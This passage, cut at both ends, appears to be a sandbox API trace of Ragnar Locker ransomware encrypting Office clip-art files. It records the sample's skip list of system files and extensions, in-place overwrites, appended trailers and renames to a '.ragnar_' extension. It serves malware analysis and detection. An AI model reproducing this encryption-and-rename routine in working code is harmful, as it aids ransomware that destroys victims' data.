lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.146] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.146] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.146] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.146] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.146] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf")) returned 0x20 [0087.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.147] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=69644) returned 1 [0087.147] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x11003, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.147] GetProcessHeap () returned 0x580000 [0087.147] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.147] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.148] VirtualAlloc (lpAddress=0x0, dwSize=0x1100c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.148] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.148] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.148] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1100c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1100c, lpOverlapped=0x0) returned 1 [0087.150] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.150] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1100c, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.150] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1100c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1100c, lpOverlapped=0x0) returned 1 [0087.150] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1100c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.150] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.151] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1100c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.151] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.151] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.151] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.151] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.151] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.151] GetProcessHeap () returned 0x580000 [0087.151] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.151] CloseHandle (hObject=0xf4) returned 1 [0087.151] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" [0087.151] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.ragnar_FD7BD9FC" [0087.151] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.152] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f1d4200, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f1d4200, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xae2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252629.WMF", cAlternateFileName="")) returned 1 [0087.152] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.152] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0252629.WMF" | out: lpString1="J0252629.WMF") returned="J0252629.WMF" [0087.152] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF") returned=".WMF" [0087.152] lstrcmpiW (lpString1="J0252629.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.152] lstrcmpiW (lpString1="J0252629.WMF", lpString2="autorun.inf") returned 1 [0087.152] lstrcmpiW (lpString1="J0252629.WMF", lpString2="boot.ini") returned 1 [0087.152] lstrcmpiW (lpString1="J0252629.WMF", lpString2="bootfont.bin") returned 1 [0087.152] lstrcmpiW (lpString1="J0252629.WMF", lpString2="bootsect.bak") returned 1 [0087.152] lstrcmpiW (lpString1="J0252629.WMF", lpString2="bootmgr") returned 1 [0087.152] lstrcmpiW (lpString1="J0252629.WMF", lpString2="bootmgr.efi") returned 1 [0087.152] lstrcmpiW (lpString1="J0252629.WMF", lpString2="bootmgfw.efi") returned 1 [0087.152] lstrcmpiW (lpString1="J0252629.WMF", lpString2="desktop.ini") returned 1 [0087.152] lstrcmpiW (lpString1="J0252629.WMF", lpString2="iconcache.db") returned 1 [0087.153] lstrcmpiW (lpString1="J0252629.WMF", lpString2="ntldr") returned -1 [0087.153] lstrcmpiW (lpString1="J0252629.WMF", lpString2="ntuser.dat") returned -1 [0087.153] lstrcmpiW (lpString1="J0252629.WMF", lpString2="ntuser.dat.log") returned -1 [0087.153] lstrcmpiW (lpString1="J0252629.WMF", lpString2="ntuser.ini") returned -1 [0087.153] lstrcmpiW (lpString1="J0252629.WMF", lpString2="thumbs.db") returned -1 [0087.153] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.153] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.153] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.153] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.153] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.153] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.153] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf")) returned 0x20 [0087.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.154] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2786) returned 1 [0087.154] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xad9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.154] GetProcessHeap () returned 0x580000 [0087.154] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.154] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.156] VirtualAlloc (lpAddress=0x0, dwSize=0xae2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.156] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.156] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.156] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xae2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xae2, lpOverlapped=0x0) returned 1 [0087.156] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.156] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xae2, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.156] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xae2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xae2, lpOverlapped=0x0) returned 1 [0087.156] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xae2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.156] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.157] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xae2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.157] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.157] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.157] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.157] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.157] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.157] GetProcessHeap () returned 0x580000 [0087.157] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.157] CloseHandle (hObject=0xf4) returned 1 [0087.157] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" [0087.157] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.ragnar_FD7BD9FC" [0087.157] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.158] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f4c600, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46f4c600, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xf56, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252669.WMF", cAlternateFileName="")) returned 1 [0087.158] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.158] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0252669.WMF" | out: lpString1="J0252669.WMF") returned="J0252669.WMF" [0087.158] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF") returned=".WMF" [0087.158] lstrcmpiW (lpString1="J0252669.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.158] lstrcmpiW (lpString1="J0252669.WMF", lpString2="autorun.inf") returned 1 [0087.158] lstrcmpiW (lpString1="J0252669.WMF", lpString2="boot.ini") returned 1 [0087.158] lstrcmpiW (lpString1="J0252669.WMF", lpString2="bootfont.bin") returned 1 [0087.158] lstrcmpiW (lpString1="J0252669.WMF", lpString2="bootsect.bak") returned 1 [0087.158] lstrcmpiW (lpString1="J0252669.WMF", lpString2="bootmgr") returned 1 [0087.158] lstrcmpiW (lpString1="J0252669.WMF", lpString2="bootmgr.efi") returned 1 [0087.158] lstrcmpiW (lpString1="J0252669.WMF", lpString2="bootmgfw.efi") returned 1 [0087.158] lstrcmpiW (lpString1="J0252669.WMF", lpString2="desktop.ini") returned 1 [0087.158] lstrcmpiW (lpString1="J0252669.WMF", lpString2="iconcache.db") returned 1 [0087.158] lstrcmpiW (lpString1="J0252669.WMF", lpString2="ntldr") returned -1 [0087.158] lstrcmpiW (lpString1="J0252669.WMF", lpString2="ntuser.dat") returned -1 [0087.158] lstrcmpiW (lpString1="J0252669.WMF", lpString2="ntuser.dat.log") returned -1 [0087.158] lstrcmpiW (lpString1="J0252669.WMF", lpString2="ntuser.ini") returned -1 [0087.158] lstrcmpiW (lpString1="J0252669.WMF", lpString2="thumbs.db") returned -1 [0087.158] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.158] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.158] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.158] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.158] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.158] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.158] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf")) returned 0x20 [0087.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.159] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3926) returned 1 [0087.159] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.159] GetProcessHeap () returned 0x580000 [0087.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.159] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.161] VirtualAlloc (lpAddress=0x0, dwSize=0xf56, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.161] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.161] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.161] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf56, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf56, lpOverlapped=0x0) returned 1 [0087.161] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.161] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf56, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.161] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf56, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf56, lpOverlapped=0x0) returned 1 [0087.163] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf56, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.163] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.164] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.164] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.164] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.165] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.165] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.166] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.166] GetProcessHeap () returned 0x580000 [0087.166] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.166] CloseHandle (hObject=0xf4) returned 1 [0087.166] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" [0087.166] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.ragnar_FD7BD9FC" [0087.166] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.166] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89b5600, ftCreationTime.dwHighDateTime=0x1bec0f4, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89b5600, ftLastWriteTime.dwHighDateTime=0x1bec0f4, nFileSizeHigh=0x0, nFileSizeLow=0xf6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0278702.WMF", cAlternateFileName="")) returned 1 [0087.166] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.166] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0278702.WMF" | out: lpString1="J0278702.WMF") returned="J0278702.WMF" [0087.167] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF") returned=".WMF" [0087.167] lstrcmpiW (lpString1="J0278702.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.167] lstrcmpiW (lpString1="J0278702.WMF", lpString2="autorun.inf") returned 1 [0087.167] lstrcmpiW (lpString1="J0278702.WMF", lpString2="boot.ini") returned 1 [0087.167] lstrcmpiW (lpString1="J0278702.WMF", lpString2="bootfont.bin") returned 1 [0087.167] lstrcmpiW (lpString1="J0278702.WMF", lpString2="bootsect.bak") returned 1 [0087.167] lstrcmpiW (lpString1="J0278702.WMF", lpString2="bootmgr") returned 1 [0087.167] lstrcmpiW (lpString1="J0278702.WMF", lpString2="bootmgr.efi") returned 1 [0087.167] lstrcmpiW (lpString1="J0278702.WMF", lpString2="bootmgfw.efi") returned 1 [0087.167] lstrcmpiW (lpString1="J0278702.WMF", lpString2="desktop.ini") returned 1 [0087.167] lstrcmpiW (lpString1="J0278702.WMF", lpString2="iconcache.db") returned 1 [0087.167] lstrcmpiW (lpString1="J0278702.WMF", lpString2="ntldr") returned -1 [0087.167] lstrcmpiW (lpString1="J0278702.WMF", lpString2="ntuser.dat") returned -1 [0087.167] lstrcmpiW (lpString1="J0278702.WMF", lpString2="ntuser.dat.log") returned -1 [0087.167] lstrcmpiW (lpString1="J0278702.WMF", lpString2="ntuser.ini") returned -1 [0087.167] lstrcmpiW (lpString1="J0278702.WMF", lpString2="thumbs.db") returned -1 [0087.167] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.167] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.167] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.167] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.167] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.167] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.167] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf")) returned 0x20 [0087.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.168] GetFileSizeEx (in: hFile=0xf4, 